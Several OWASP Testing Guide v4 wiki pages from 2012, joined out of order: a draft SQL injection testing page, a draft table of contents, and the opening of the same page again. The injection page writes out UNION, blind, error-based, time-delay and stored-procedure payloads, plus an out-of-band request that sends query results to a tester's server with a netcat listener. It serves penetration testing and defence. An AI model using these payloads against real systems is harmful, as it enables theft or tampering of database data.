with all the credit card users. The keyword '''ALL''' is necessary to get
around queries that use the keyword DISTINCT. Moreover, we notice that beyond
the credit card numbers, we have selected other two values. These two values
are necessary, because the two query must have an
equal number of parameters, in order to avoid a syntax error.

The first
information the tester need to exploit the SQL injection vulnerability using
such technique is to find the right numbers of columns in the SELECT statement.

In order to
achieve it the tester can use ORDER BY clause followed by a number indicating
the numeration of database’s column selected:

<pre>http://www.example.com/product.php?id=10 ORDER BY 10--</pre>

If the query executes with success the tester will see
the tester can assume, in this example, there are 10 or more columns in the
SELECT statement. If the query fails and there is an error message available
probably it would be:

<pre>Unknown column '10' in 'order clause'</pre>

After the tester find out the numbers of columns, the
next step is to find out the type of columns. Assuming there were 3 columns in
the example above, the tester could try each column type, using the NULL value
to help them:

<pre>http://www.example.com/product.php?id=10 UNION SELECT 1,null, null--</pre>

If the query fails, probably the tester will see a
message like:

<pre>All cells in a column must have the same datatype</pre>

If the query executes with success, the first column
can be an integer. Then the tester can move further and so on:

<pre>http://www.example.com/product.php?id=10 UNION SELECT 1,1,null--</pre>

After the success exploitation, depending on the
application, it will show to the tester only the first result, because the
application treats only the first line of the result. In this case, it is
possible to use LIMIT like clause or the tester can set an invalid value,
making only the second line valid (supposing there is no entry in the database
which ID is 99999):

<pre>http://www.example.com/product.php?id=99999 UNION SELECT 1,1,null--</pre>

=== Boolean Exploitation technique ===

The Boolean exploitation technique is very useful when
the tester find a [[Blind SQL Injection]] situation, in
which nothing is known on the outcome of an operation. For example, this
behavior happens in cases where the programmer has created a custom error page
that does not reveal anything on the structure of the query or on the database.
(The page does not return a SQL error, it may just
return a HTTP 500). 
By using the inference methods, it is possible to avoid this obstacle and thus
to succeed to recover the values of some desired fields. This method consists
of carrying out a series of boolean
queries to the server, observing the answers and finally deducing the meaning
of such answers. We consider, as always, the www.example.com domain and we
suppose that it contains a parameter named id vulnerable to SQL injection. This
means that carrying out the following request:

<pre>http://www.example.com/index.php?id=1'</pre>

we will get one page with a custom message error which
is due to a syntactic error in the query. We suppose that the query executed on
the server is:

<pre>SELECT field1, field2, field3 FROM Users WHERE Id='$Id'
</pre>

which is exploitable through the methods seen previously.
What we want to obtain is the values of the username field. The tests that we
will execute will allow us to obtain the value of the username field,
extracting such value character by character. This is possible through the use
of some standard functions, present practically in every database. For our
examples, we will use the following pseudo-functions:

'''SUBSTRING (text, start, length)''': it returns a
substring starting from the position "start" of text and of length
"length". If "start" is greater than the length of text,
the function returns a null value.

'''ASCII (char)''': it gives back ASCII value of the input character. A
null value is returned if char is 0.

'''LENGTH (text)''': it gives back the length in characters of the input
text.

Through such functions, we will execute our tests on
the first character and, when we have discovered the value, we will pass to the
second and so on, until we will have discovered the entire value. The tests
will take advantage of the function SUBSTRING, in order to select only one
character at a time (selecting a single character means to impose the length
parameter to 1), and the function ASCII, in order to obtain the ASCII value, so
that we can do numerical comparison. The results of the comparison will be done
with all the values of the ASCII table, until the right value is found. As an
example, we will use the following value for ''Id'':

<pre>$Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1
</pre>

that creates the following query (from now on, we will
call it "inferential query"):

<pre>SELECT field1, field2, field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'
</pre>

The previous example returns a result if and only if
the first character of the field username is equal to the ASCII value 97. If we
get a false value, then we increase the index of the ASCII table from 97 to 98
and we repeat the request. If instead we obtain a true value, we set to zero
the index of the ASCII table and we analyze the next character, modifying the
parameters of the SUBSTRING function. The problem is to understand in which way
we can distinguish tests returning a true value from those that return false.
To do this, we create a query that always returns false. This is possible by
using the following value for ''Id'':

<pre>$Id=1' AND '1' = '2
</pre>

by which will create the following query:

<pre>SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1' = '2'
</pre>

The obtained response from the server (that is HTML
code) will be the false value for our tests. This is enough to verify whether
the value obtained from the execution of the inferential query is equal to the
value obtained with the test executed before. Sometimes, this method does not
work. If the server returns two different pages as a result of two identical
consecutive web requests, we will not be able to discriminate the true value
from the false value. In these particular cases, it is necessary to use
particular filters that allow us to eliminate the code that changes between the
two requests and to obtain a template. Later on, for every inferential request
executed, we will extract the relative template from the response using the
same function, and we will perform a control between the two templates in order
to decide the result of the test.

In the previous discussion, we haven't dealt with the
problem of determining the termination condition for out tests, i.e., when we
should end the inference procedure. A techniques to do
this uses one characteristic of the SUBSTRING function and the LENGTH function.
When the test compares the current character with the ASCII code 0 (i.e., the
value null) and the test returns the value true, then either we are done with
the inference procedue (we have scanned the whole
string), or the value we have analyzed contains the null character.

We will insert the following value for the field ''Id'':

<pre>$Id=1' AND LENGTH(username)=N AND '1' = '1
</pre>

Where N is the number of characters that we have
analyzed up to now (not counting the null value). The query will be:

<pre>SELECT field1, field2, field3 FROM Users WHERE Id='1' AND LENGTH(username)=N AND '1' = '1'
</pre>

The query returns either true or false. If we obtain
true, then we have completed inference and, therefore, we know the value of the
parameter. If we obtain false, this means that the null character is present in
the value of the parameter, and we must continue to analyze the next parameter
until we find another null value.

The blind SQL injection attack needs a high volume of
queries. The tester may need an automatic tool to exploit the vulnerability.

=== Error based Exploitation technique ===

The Error based
exploitation technique is useful when the tester for some reason can’t exploit
the SQL injection vulnerability using other technique such as UNION. The Error
based technique consists in forcing the database to perform some operation in
which the result will be an error. The point here is to try to extract some
data from the database and show it in the error message. This exploitation
technique can be different from DBMS to DBMS (check DBMS specific session).

Consider the following SQL query:

<pre>SELECT * FROM products WHERE id_product=$id_product</pre>

Consider also the request to a script who executes the
query above:

<pre>http://www.example.com/product.php?id=10</pre>

The malicious request would be (e.g. Oracle 10g):

<pre>http://www.example.com/product.php?id=10||UTL_INADDR.GET_HOST_NAME( (SELECT user FROM DUAL) )--</pre>

In this
example, the tester is concatenating the value 10 with the result of the
function UTL_INADDR.GET_HOST_NAME. This Oracle function will try to return the
hostname of the parameter passed to it, which is other query, the name of the
user. When the database looks for a hostname with the user database name, it
will fail and return an error message like:

<pre>ORA-292257: host SCOTT unknown</pre>

Then the tester
can manipulate the parameter passed to GET_HOST_NAME()
function and the result will be shown in the error message.

=== Out of band Exploitation technique ===

This technique
is very useful when the tester find a [[Blind SQL Injection]] situation, in
which nothing is known on the outcome of an operation. The technique consists in
the use of DBMS functions to perform an out of band connection and deliver the
results of the injected query as part of the request to the tester’s server.

Like the error
based techniques, each DBMS has its own functions. Check for specific DBMS
section.

Consider the following SQL query:

<pre>SELECT * FROM products WHERE id_product=$id_product</pre>

Consider also the request to a script who executes the
query above:

<pre>http://www.example.com/product.php?id=10</pre>

The malicious request would be:

<pre>http://www.example.com/product.php?id=10||UTL_HTTP.request(‘testerserver.com:80’||(SELET user FROM DUAL)--</pre>

In this
example, the tester is concatenating the value 10 with the result of the
function UTL_HTTP.request. This Oracle function will
try to connect to ‘testerserver’ and make a HTTP GET
request containing the return from the query “SELECT user FROM DUAL”. The tester can set up a webserver
(e.g. Apache) or use the Netcat tool:

/home/tester/nc –nLp 80

GET /SCOTT HTTP/1.1
Host: testerserver.com
Connection: close

=== Time day Exploitation technique ===

The Boolean
exploitation technique is very useful when the tester find a [[Blind SQL Injection]] situation, in
which nothing is known on the outcome of an operation. This technique consists
in sending an injected query and in case the conditional is true, the tester
can monitor the time taken to for the server to respond. If there is a delay,
the tester can assume the result of the conditional query is true. This
exploitation technique can be different from DBMS to DBMS (check DBMS specific
session)

Consider the following SQL query:

<pre>SELECT * FROM products WHERE id_product=$id_product</pre>

Consider also the request to a script who executes the
query above:

<pre>http://www.example.com/product.php?id=10</pre>

The malicious request would be (e.g. MySql 5.x):

<pre>http://www.example.com/product.php?id=10 AND IF(version() like ‘5%’, sleep(10), ‘false’))--</pre>

In this example
the tester if checking whether the MySql version is
5.x or not, making the server to delay the answer in 5 seconds. The tester can
increase the delay’s time and monitor the responses. The tester also doesn’t
need to wait for the response. Sometimes he can set a very high value (e.g.
100) and cancel the request after some seconds.

=== Stored Procedure Injection ===

When using dynamic SQL within a stored procedure, the application must
properly sanitize the user input to eliminate the risk of code injection. If
not sanitized, the user could enter malicious SQL that will be executed within
the stored procedure.

Consider the following '''SQL Server Stored Procedure:'''

Create
procedure user_login @username varchar(20), @passwd varchar(20) As

Declare @sqlstring varchar(250)

Set @sqlstring = ‘

Select 1
from users

Where
username = ‘ + @username + ‘ and passwd
= ‘ + @passwd

exec(@sqlstring)
Go
User input:
anyusername or 1=1'
anypassword

This procedure does not sanitize the input, therefore allowing the
return value to show an existing record with these
parameters. 
NOTE: This example may seem unlikely due to the use of dynamic SQL to log in a
user, but consider a dynamic reporting query where the user selects the columns
to view. The user could insert malicious code into this scenario and compromise
the data. 
Consider the following '''SQL Server Stored Procedure:'''

Create
procedure get_report @columnamelist varchar(7900)
As
Declare @sqlstring varchar(8000)
Set @sqlstring = ‘
Select ‘ + @columnamelist + ‘ from ReportTable‘
exec(@sqlstring)
Go

User input:

1 from
users; update users set password = 'password'; select *

This will result in the report running and all users’ passwords being
updated.

=== Automated Exploitation ===

Most of the situation and techniques presented here can be performed in a automated way using some tools. In this article the tester can find information how to perform an automated auditing using SQLMap:

https://www.owasp.org/index.php/Automated_Audit_using_SQLMap

== Related Articles ==

* [[Top 10 2010-Injection Flaws]]
* [[SQL Injection]]

Technology specific Testing Guide pages have been created for the following DBMSs:

* [[Testing for Oracle| Oracle]]
* [[Testing for MySQL| MySQL]]
* [[Testing for SQL Server | SQL Server]]

== References ==

'''Whitepapers''' 

* Victor Chapela: "Advanced SQL Injection" - http://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt
* Chris Anley: "Advanced SQL Injection In SQL Server Applications" - http://www.thomascookegypt.com/holidays/pdfpkgs/931.pdf
* Chris Anley: "More Advanced SQL Injection" - http://www.encription.co.uk/downloads/more_advanced_sql_injection.pdf
* David Litchfield: "Data-mining with SQL Injection and Inference" - http://www.databasesecurity.com/webapps/sqlinference.pdf
* Imperva: "Blinded SQL Injection" - https://www.imperva.com/lg/lgw.asp?pid=369
* Ferruh Mavituna: "SQL Injection Cheat Sheet" - http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
* Kevin Spett from SPI Dynamics: "SQL Injection" - http://packetstorm.codar.com.br/papers/general/SQLInjectionWhitePaper.pdf
* Kevin Spett from SPI Dynamics: "Blind SQL Injection" - http://www.net-security.org/dl/articles/Blind_SQLInjection.pdf

'''Tools''' 
* SQL Injection Fuzz Strings (from wfuzz tool) - http://yehg.net/lab/pr0js/pentest/wordlists/injections/SQL.txt
* [[:Category:OWASP SQLiX Project|OWASP SQLiX]]
* Francois Larouche: Multiple DBMS SQL Injection tool - [http://www.sqlpowerinjector.com/index.htm SQL Power Injector] 
* ilo--, Reversing.org - [http://packetstormsecurity.org/files/43795/sqlbftools-1.2.tar.gz.html sqlbftools] 
* Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - http://sqlmap.org/
* icesurfer: SQL Server Takeover Tool - [http://sqlninja.sourceforge.net sqlninja]
* Pangolin: Automated SQL Injection Tool - [http://www.nosec.org/en/pangolin.html Pangolin]
* Muhaimin Dzulfakar: MySqloit, MySql Injection takeover tool - http://code.google.com/p/mysqloit/
* Antonio Parata: Dump Files by SQL inference on Mysql - [http://sqldumper.ruizata.com/ SqlDumper] 
* http://sqlsus.sourceforge.net
* [https://code.google.com/p/bsqlbf-v2/ bsqlbf, a blind SQL injection tool] in Perl

OWASP Testing Guide v4 Table of Contents

2012-11-26T22:28:51Z

Ismael Rocha: Added notes

__NOTOC__

'''This is the DRAFT of the table of content of the New Testing Guide v4.''' 
 You can download the stable version v3 [http://www.owasp.org/images/5/56/OWASP_Testing_Guide_v3.pdf here] 

Back to the OWASP Testing Guide Project:
http://www.owasp.org/index.php/OWASP_Testing_Project

'''Updated: 26th November 2012'''

[[ OWTGv4 Contributors list|'''Contributors List]]

----

The following is a DRAFT of the Toc based on the feedback already received.

== Table of Contents ==

==[[Testing Guide Foreword|Foreword by OWASP Chair]]==
[To review--> OWASP Chair]

==[[Testing Guide Frontispiece |1. Frontispiece]]==
[To review--> Mat]

'''[[Testing Guide Frontispiece|1.1 About the OWASP Testing Guide Project]]'''
[To review--> Mat]

'''[[About The Open Web Application Security Project|1.2 About The Open Web Application Security Project]]'''
[To review--> ]

==[[Testing Guide Introduction|2. Introduction]]==

'''2.1 The OWASP Testing Project'''

'''2.2 Principles of Testing'''

'''2.3 Testing Techniques Explained'''

2.4 [https://www.owasp.org/index.php/Testing_Guide_Introduction#Security_Requirements_Test_Derivation Security requirements test derivation],[https://www.owasp.org/index.php/Testing_Guide_Introduction#Functional_and_Non_Functional_Test_Requirements functional and non functional test requirements], and [https://www.owasp.org/index.php/Testing_Guide_Introduction#Test_Cases_Through_Use_and_Misuse_Cases test cases through use and misuse cases]

2.5 [https://www.owasp.org/index.php/Testing_Guide_Introduction#Security_Test_Data_Analysis_and_Reporting Security test data analysis and reporting: root cause identification and business/role case test data reporting]

==[[The OWASP Testing Framework|3. The OWASP Testing Framework]]==

'''3.1. Overview'''

'''3.2. Phase 1: Before Development Begins '''

'''3.3. Phase 2: During Definition and Design'''

'''3.4. Phase 3: During Development'''

'''3.5. Phase 4: During Deployment'''

'''3.6. Phase 5: Maintenance and Operations'''

'''3.7. A Typical SDLC Testing Workflow '''

==[[Web Application Penetration Testing |4. Web Application Penetration Testing ]]==

[[Testing: Introduction and objectives|'''4.1 Introduction and Objectives''']] [To review--> Mat]

[[Testing Checklist| 4.1.1 Testing Checklist]] [To review at the end of brainstorming --> Mat]

[[Testing Information Gathering|'''4.2 Information Gathering ''']] [Andrew Muller]

[[Testing for Web Server Fingerprint (OWASP-IG-010)|4.2.10 Testing for Web Server Fingerprint (OWASP-IG-010)]]

[[Testing: Spiders, Robots, and Crawlers (OWASP-IG-001)|4.2.1 Spiders, Robots and Crawlers (OWASP-IG-001)]] [Modify! rename to "Review Webserver Metafiles" - could also be considered a Configuration Management test]

[[Testing for Application Discovery (OWASP-IG-005)|4.2.5 Application Discovery (OWASP-IG-005)]] [Modify! - rename to "Enumerate Applications on Webserver"]

[[Testing Review webpage comments and metadata(OWASP-IG-007)|4.2.7 Review webpage comments and metadata(OWASP-IG-007)]]

[[Testing: Identify application entry points (OWASP-IG-003)|4.2.3 Identify application entry points (OWASP-IG-003)]]

[[Testing Identify application exit/handover points (OWASP-IG-008)|4.2.8 Identify application exit/handover points (OWASP-IG-008)]]

[[Testing Map execution paths through application (OWASP-IG-009)|4.2.9 Map execution paths through application (OWASP-IG-009)]]

[[Testing for Web Application Fingerprint (OWASP-IG-004)|4.2.4 Testing for Web Application Fingerprint (OWASP-IG-004)]]

[[Testing for Error Code (OWASP-IG-006)|4.2.6 Analysis of Error Codes (OWASP-IG-006)]]

[[Testing: Search engine discovery/reconnaissance (OWASP-IG-002)|4.2.2 Search Engine Discovery/Reconnaissance (OWASP-IG-002)]]

[[Testing for configuration management|'''4.3 Configuration and Deploy Management Testing ''']]

[[Testing for infrastructure configuration management (OWASP-CM-003)|4.3.1 Testing for Infrastructure Configuration Management Testing weakness (OWASP-CM-001)]]

[[Testing for application configuration management (OWASP-CM-004)|4.3.2 Testing for Application Configuration Management weakness (OWASP-CM-002)]]

[[Testing for file extensions handling (OWASP-CM-005)|4.3.3 Testing for File Extensions Handling (OWASP-CM-003)]]

[[Testing for Old, Backup and Unreferenced Files (OWASP-CM-006)|4.3.4 Old, Backup and Unreferenced Files (OWASP-CM-004) ]]

[[Testing for Admin Interfaces (OWASP-CM-007)|4.3.5 Infrastructure and Application Admin Interfaces (OWASP-CM-005)]]

[[Testing for HTTP Methods and XST (OWASP-CM-008)|4.3.6 Testing for Bad HTTP Methods (OWASP-CM-006)]][new - Abian Blome]

> Informative Error Messages [MAT NOTE: in info gathering] 

[[Testing for Database credentials/connection strings available|4.3.7 Testing for Database credentials/connection strings available (OWASP-CM-007)]]

[[Testing for Content Security Policy weakness|4.3.8 Testing for Content Security Policy weakness (OWASP-CM-008)]][New! - Simone Onofri]

[[Testing for Missing HSTS header|4.3.9 Testing for Missing HSTS header (OWASP-CM-009)]][New! Juan Manuel Bahamonde ]

[[Testing for RIA policy files weakness|4.3.10 Testing for RIA policy files weakness (OWASP-CM-010)]] [New!]

> Incorrect time[New! MAT NOTE: explain the test in detail please]

> Unpatched components and libraries (e.g. JavaScript libraries)[New! NOTE: tu discuss it][Note: this can be covered inside OWASP-CM-001/OWASP-CM-002]

> Test data in production systems (and vice versa)[New! MAT NOTE: this is not a particular test that could find a vulnerability] 

[[Testing for authentication|'''4.4 Authentication Testing ''']]

[[Testing for Credentials Transported over an Encrypted Channel (OWASP-AT-001)|4.4.1 Testing for Credentials Transported over an Encrypted Channel (OWASP-AT-001)]] [Robert Winkel]

[[Testing for User Enumeration and Guessable User Account (OWASP-AT-002)|4.4.2 Testing for User Enumeration and Guessable User Account (OWASP-AT-002)]] [Robert Winkel]

[[Testing for default credentials (OWASP-AT-003)|4.4.3 Testing for default credentials (OWASP-AT-003)]]

[[Testing for Weak lock out mechanism (OWASP-AT-004)|4.4.4 Testing for Weak lock out mechanism (OWASP-AT-004)]] [New! - Robert Winkel]

> Account lockout DoS [New! - Robert Winkel - we can put it in the 4.4.4]

[[Testing for Bypassing Authentication Schema (OWASP-AT-005)|4.4.5 Testing for bypassing authentication schema (OWASP-AT-005)]]

[[Testing for Vulnerable Remember Password (OWASP-AT-006)|4.4.6 Testing for vulnerable remember
password functionality (OWASP-AT-006)]] [Robert Winkel]

[[Testing for Browser cache weakness (OWASP-AT-007)|4.4.7 Testing for Browser cache weakness (OWASP-AT-007)]] [New! - Abian Blome]

[[Testing for Weak password policy (OWASP-AT-008)|4.4.8 Testing for Weak password policy (OWASP-AT-008)]] [New! - Robert Winkel]

[[Testing for Weak or unenforced username policy (OWASP-AT-009)|4.4.9 Testing for Weak or unenforced username policy (OWASP-AT-009)]] [New! - Robert Winkel]

> Weak security question/answer [New! - Robert Winkel - MAT Note: same as AT-006] 

[[Testing for failure to restrict access to authenticated resource(OWASP-AT-010)|4.4.10 Testing for failure to restrict access to authenticated resource (OWASP-AT-010)]] [New! - This seems better suited to the Authorization test cases (Andrew Muller)] 

[[Testing for weak password change or reset functionalities (OWASP-AT-011)|4.4.11 Testing for weak password change or reset functionalities (OWASP-AT-011)]] [New! - Robert Winkel] 

[[Testing for Captcha (OWASP-AT-012)|4.4.12 Testing for CAPTCHA (OWASP-AT-012)]] [Note: Andrew Muller - CAPTCHA's objective is not authentication but to test humanness. This could be moved to Business Logic or the now deleted Denial of Service section]

> Weaker authentication in alternative channel (e.g. mobile app, IVR, help desk) [New!: MAT Note: to explain better the kind of test to perform please] 

[[Testing for Session Management|'''4.5 Session Management Testing''']]

[[Testing for Session_Management_Schema (OWASP-SM-001)|4.5.1 Testing for Bypassing Session Management Schema (OWASP-SM-001)]]

[[Testing for cookies attributes (OWASP-SM-002)|4.5.2 Testing for Cookies attributes (Cookies are set not ‘HTTP Only’, ‘Secure’, and no time validity) (OWASP-SM-002)]]

[[Testing for Session Fixation (OWASP-SM-003)|4.5.3 Testing for Session Fixation (OWASP-SM-003)]]

[[Testing for Exposed Session Variables (OWASP-SM-004)|4.5.4 Testing for Exposed Session Variables (OWASP-SM-004)]]

[[Testing for CSRF (OWASP-SM-005)|4.5.5 Testing for Cross Site Request Forgery (CSRF) (OWASP-SM-005)]]

> Weak Session Token (MAT NOTE included in 4.5.1)

[[Testing for Session token not restricted properly (OWASP-SM-006)|4.5.6 Testing for Session token not restricted properly (such as domain or path not set properly) (OWASP-SM-006)]] [New! - Abian Blome] 

> Session passed over http (NOTE: included in SM-004) [New!] 

[[Testing for logout functionality (OWASP-SM-007)|4.5.7 Testing for logout functionality (OWASP-SM-007)]]

>Session token not removed on server after logout [New!: NOTE included in the above test] 

> Logout function not properly implemented (NOTE:same above) 

> Persistent session token [New! NOTE: this is not a vulnerability if session time out is correctly performed] 

[[Testing for Session puzzling (OWASP-SM-008)|4.5.8 Testing for Session puzzling (OWASP-SM-008)]] [New! - Abian Blome]

> Missing user-viewable log of authentication events [NOTE: needs more details: which test perform?]

> Establishment of multiple sessions with same credentials [New! - Andrew Muller]

[[Testing for Authorization|'''4.6 Authorization Testing''']]

[[Testing for Path Traversal (OWASP-AZ-001)|4.6.1 Testing Directory traversal/file include (OWASP-AZ-001) [Juan Galiana] ]]

[[Testing for Bypassing Authorization Schema (OWASP-AZ-002)|4.6.2 Testing for bypassing authorization schema (OWASP-AZ-002)]]

[[Testing for Privilege escalation (OWASP-AZ-003)|4.6.3 Testing for Privilege Escalation (OWASP-AZ-003) [Irene Abezgauz]]]

[[Testing for Insecure Direct Object References (OWASP-AZ-004)|4.6.4 Testing for Insecure Direct Object References (OWASP-AZ-004) [Irene Abezgauz] ]]

[[Testing for Failure to Restrict access to authorized resource (OWASP-AZ-005)|4.6.5 Testing for Failure to Restrict access to authorized resource (OWASP-AZ-005) [New!] ]]

> Server component has excessive privileges (e.g. indexing service, reporting interface, file generator)[New!] 
> Lack of enforcement of application entry points (including exposure of objects)[New!] 

[[Testing for business logic (OWASP-BL-001)|'''4.7 Business Logic Testing (OWASP-BL-001)''']] [To review--> contributor here]
Business Logic 

Business logic data validation[New!] NOTE MAT: to discuss this section 
Ability to forge requests[New!] 
Lack of integrity checks (e.g. overwriting updates) [New!] 
Lack of tamper evidence[New!] 
Use of untrusted time source[New!] 
Lack of limits to excessive rate (speed) of use[New!] 
Lack of limits to size of request[New!] 
Lack of limit to number of times a function can be used[New!] 
Bypass of correct sequence[New!] 
Missing user-viewable log of activity[New!] 
Self-hosted payment cardholder data processing[New!] 
Lack of security incident reporting information[New!] 
Defenses against application mis-use[New!] 

[[Testing for Data Validation|'''4.8 Data Validation Testing''']]

[[Testing for Reflected Cross site scripting (OWASP-DV-001) |4.8.1 Testing for Reflected Cross Site Scripting (OWASP-DV-001) ]]

[[Testing for Stored Cross site scripting (OWASP-DV-002) |4.8.2 Testing for Stored Cross Site Scripting (OWASP-DV-002) ]]

[[Testing for HTTP Verb Tampering (OWASP-DV-003)|4.8.3 Testing for HTTP Verb Tampering [Brad Causey] ]]

[[Testing for HTTP Parameter pollution (OWASP-DV-004)|4.8.4 Testing for HTTP Parameter pollution [Luca Carettoni, Stefano Di Paola, Brad Causey] ]]

[[Testing for Unvalidated Redirects and Forwards (OWASP-DV-004)|4.8.5 Testing for Unvalidated Redirects and Forwards [Brad Causey] ]]

[[Testing for SQL Injection (OWASP-DV-005)| 4.8.5 Testing for SQL Injection (OWASP-DV-005) [Ismael Gonçalves](Ismael NOTE: ready to be reviewed)]]

[[Testing for Oracle|4.8.5.1 Oracle Testing]]

[[Testing for MySQL|4.8.5.2 MySQL Testing [Ismael Gonçalves]]]

[[Testing for SQL Server|4.8.5.3 SQL Server Testing]]

[[Testing for MS Access |4.8.5.4 MS Access Testing]]

[[Testing for NoSQL injection|4.8.5.5 Testing for NoSQL injection [New!]]]

[[OWASP_Backend_Security_Project_Testing_PostgreSQL|4.8.5.5 Testing PostgreSQL (from OWASP BSP) ]]

[[Testing for LDAP Injection (OWASP-DV-006)|4.8.6 Testing for LDAP Injection (OWASP-DV-006)]]

[[Testing for ORM Injection (OWASP-DV-007)|4.8.7 Testing for ORM Injection (OWASP-DV-007)]]

[[Testing for XML Injection (OWASP-DV-008)|4.8.8 Testing for XML Injection (OWASP-DV-008)]]

[[Testing for SSI Injection (OWASP-DV-009)|4.8.9 Testing for SSI Injection (OWASP-DV-009)]]

[[Testing for XPath Injection (OWASP-DV-010)|4.8.10 Testing for XPath Injection (OWASP-DV-010)]]

[[Testing for IMAP/SMTP Injection (OWASP-DV-011)|4.8.11 IMAP/SMTP Injection (OWASP-DV-011)]]

[[Testing for Code Injection (OWASP-DV-012)|4.8.12 Testing for Code Injection (OWASP-DV-012)]]

[[Testing for Command Injection (OWASP-DV-013)|4.8.13 Testing for Command Injection (OWASP-DV-013) [Juan Galiana]]]

[[Testing for Buffer Overflow (OWASP-DV-014)|4.8.14 Testing for Buffer overflow (OWASP-DV-014)]]

[[Testing for Heap Overflow|4.8.14.1 Testing for Heap overflow]]

[[Testing for Stack Overflow|4.8.14.2 Testing for Stack overflow]]

[[Testing for Format String|4.8.14.3 Testing for Format string]]

[[Testing for Incubated Vulnerability (OWASP-DV-015)|4.8.15 Testing for incubated vulnerabilities (OWASP-DV-015)]]

[[Testing for HTTP Splitting/Smuggling (OWASP-DV-016)|4.8.16 Testing for HTTP Splitting/Smuggling (OWASP-DV-016) [Juan Galiana] ]]

> Regular expression DoS[New!] note: to understand better 

> XML DoS [New! - Andrew Muller]

[[Data Encryption (New!)]]

[[Testing for Insecure encryption usage (OWASP-EN-001)| 4.9.1 Testing for Insecure encryption usage (OWASP-EN-001]]

[[Testing for Weak SSL/TSL Ciphers, Insufficient Transport Layer Protection (OWASP-EN-002)| 4.9.2 Testing for Weak SSL/TSL Ciphers, Insufficient Transport Layer Protection (OWASP-EN-002)]]

[[Testing for Padding Oracle (OWASP-EN-003)| 4.9.3 Testing for Padding Oracle (OWASP-EN-003) [Giorgio Fedon]]]

> [[Testing for Cacheable HTTPS Response | x.x.3 Testing for Cacheable HTTPS Response 
Cache directives insecure 
> Testing for Insecure Cryptographic Storage [put in x.x.1] 
[[Testing for Sensitive information sent via unencrypted channels | x.x.4 

[[Web Service (XML Interpreter)|'''4.10 Web Service Testing''']] [Tom Eston]

[[Scoping a Web Service Test (OWASP-WS-001)|4.10.1 Scoping a Web Service Test (OWASP-WS-001)]]

[[WS Information Gathering (OWASP-WS-002)|4.10.2 WS Information Gathering (OWASP-WS-002)]]

[[WS Authentication Testing (OWASP-WS-003)|4.10.3 WS Authentication Testing (OWASP-WS-003)]]

[[WS Management Interface Testing (OWASP-WS-004)|4.10.4 WS Management Interface Testing (OWASP-WS-004)]]

[[Weak XML Structure Testing (OWASP-WS-005)|4.10.5 Weak XML Structure Testing (OWASP-WS-005)]]

[[XML Content-Level Testing (OWASP-WS-006)|4.10.6 XML Content-Level Testing (OWASP-WS-006)]]

[[WS HTTP GET Parameters/REST Testing (OWASP-WS-007)|4.10.7 WS HTTP GET Parameters/REST Testing (OWASP-WS-007)]]

[[WS Naughty SOAP Attachment Testing (OWASP-WS-008)|4.10.8 WS Naughty SOAP Attachment Testing (OWASP-WS-008)]]

[[WS Replay/MiTM Testing (OWASP-WS-009)|4.10.9 WS Replay/MiTM Testing (OWASP-WS-009)]]

[[WS BEPL Testing (OWASP-WS-010)|4.10.10 WS BEPL Testing (OWASP-WS-010)]]

[[Client Side Testing|'''4.11 Client Side Testing''']] [New!]

[[Testing for DOM-based Cross site scripting (OWASP-DV-003)|4.11.1 Testing for DOM based Cross Site Scripting (OWASP-CS-001) [Stefano Di Paola] ]]

[[Testing for HTML5 (OWASP CS-002)|4.11.2 Testing for HTML5 (OWASP CS-002) [Juan Galiana] ]] 

[[Testing for Cross site flashing (OWASP-DV-004)|4.11.3 Testing for Cross Site Flashing (OWASP-CS-003)]]

[[Testing for Testing for ClickHijacking (OWASP-CS-004)|4.11.4 Testing for Testing for ClickHijacking (OWASP-CS-004) ]] 

==[[Writing Reports: value the real risk |5. Writing Reports: value the real risk ]]==

[[How to value the real risk |5.1 How to value the real risk]] [To review--> Amro AlOlaqi]

[[How to write the report of the testing |5.2 How to write the report of the testing]] [To review--> Amro AlOlaqi]

==[[Appendix A: Testing Tools |Appendix A: Testing Tools ]]==

* Black Box Testing Tools [To review--> Amro. We need only tools for webapp testing]

==[[OWASP Testing Guide Appendix B: Suggested Reading | Appendix B: Suggested Reading]]==
* Whitepapers [To review--> David Fern]
* Books [To review--> David Fern]
* Useful Websites [To review--> David Fern]

==[[OWASP Testing Guide Appendix C: Fuzz Vectors | Appendix C: Fuzz Vectors]]==

* Fuzz Categories [To review--> contributor here]

==[[OWASP Testing Guide Appendix D: Encoded Injection | Appendix D: Encoded Injection]]==

[To review--> contributor here]

----

[[Category:OWASP Testing Project]]

Testing for SQL Injection (OTG-INPVAL-005)

2012-11-22T11:11:03Z

Ismael Rocha: Format issues

{{Template:OWASP Testing Guide v4}}

==Brief Summary ==

An [[SQL injection]] attack consists of insertion or
"injection" of a SQL query via the input data from the client to the
application. A successful SQL injection exploit can read sensitive data from
the database, modify database data (insert/update/delete), execute
administration operations on the database (such as shutdown the DBMS), recover
the content of a given file existing on the DBMS file system or write files into
the file system, and, in some cases, issue commands to the operating system.
SQL injection attacks are a type of [[injection attack]], in which SQL commands are injected into data-plane input in order to
affect the execution of predefined SQL commands.

==Description of the Issue ==

In general the way web
applications construct SQL statements involving SQL syntax wrote by the
programmers mixed with user-supplied data. Example:

<pre>select title, text from news where id=$id</pre>

The red part is the SQL static
part supplied by the programmer and the variable $id contains user-supplied
data, making the SQL statement dynamic.

Because the way it was
constructed, the user can supply crafted input trying to make the original SQL
statement execute commands at user’s behavior. The example illustrates the
user-supplied data “10 or 1=1”, changing the logic of the SQL statement,
modifying the WHERE clause adding a condition “or 1=1”.

<pre>select title, text from news where id=10 or 1=1</pre>

SQL Injection attacks can
be divided into the following three classes:

* Inband: data is extracted using the same channel that is used to inject the SQL code. This is the most straightforward kind of attack, in which the retrieved data is presented directly in the application web page.
* Out-of-band: data is retrieved using a different channel (e.g., an email with the results of the query is generated and sent to the tester).
* Inferential: there is no actual transfer of data, but the tester is able to reconstruct the information by sending particular requests and observing the resulting behavior of the DB Server.

Independent of the attack
class, a successful SQL Injection attack requires the attacker to craft a
syntactically correct SQL Query. If the application returns an error message
generated by an incorrect query, then it is easy to reconstruct the logic of
the original query and, therefore, understand how to perform the injection
correctly. However, if the application hides the error details, then the tester
must be able to reverse engineer the logic of the original query. The latter
case is known as "[[Blind SQL Injection]]".

About the techniques to
exploit SQL injection flaws there are five commons techniques. Also those
